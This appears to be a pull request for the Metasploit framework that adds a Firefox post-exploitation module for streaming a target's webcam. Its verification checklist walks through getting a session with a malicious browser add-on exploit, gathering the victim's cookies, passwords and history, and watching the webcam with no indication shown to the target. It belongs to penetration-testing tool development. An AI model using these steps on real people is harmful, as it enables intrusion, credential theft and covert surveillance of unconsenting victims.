Adds webcam module for firefox privileged sessions

Would like @sinn3r to review this if possible. I had to refactor a bit of the methods for generating answerer.html/offerer.html, so regression tests need to be performed on meterpreter's webcam_chat.

This also implements command tokens for the ff js session handlers, since my javascript commands were getting too long.

#### Verification

- [x] Run firefox_xpi_bootstrapped_addon to get a session:

        msf> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
        msf> set lhost 192.168.0.5
        msf> set uripath /x
        msf> run -j

- [x] On a *different machine*, in Firefox >= 22, browse to the URL serving the exploit and click Install
- [x] you should get a session
- [x] Ensure that you can run `post/firefox/gather/cookies` against the session
- [x] Ensure that you can run `post/firefox/gather/passwords` against the session
- [x] Ensure that you can run `post/firefox/gather/history` against the session

- [x] Run the webcam_chat post module:

        msf> use post/firefox/gather/webcam_chat
        msf> set session 3
        msf> run

- [x] A window should open in your browser. Click Allow Webcam and you should see the target's webcam.
- [x] No indication should be shown to the target that this is happening.
- [x] When you close your window, the target's webcam stops streaming
- [x] run the post module again, make sure the stream still works
- [x] manually close the session from the post module:

        msf> set CLOSE true
        msf> run

- [x] the target's webcam stream shuts off
- [x] Run the module again with the `VISIBLE` datastore option set to true
- [x] the stream should work and the web page containing the feeds should be visible to the target

##### Meterpreter regression tests

- [ ] Get a meterpreter session against a windows machine.
- [ ] Ensure the `webcam_chat` command works as expected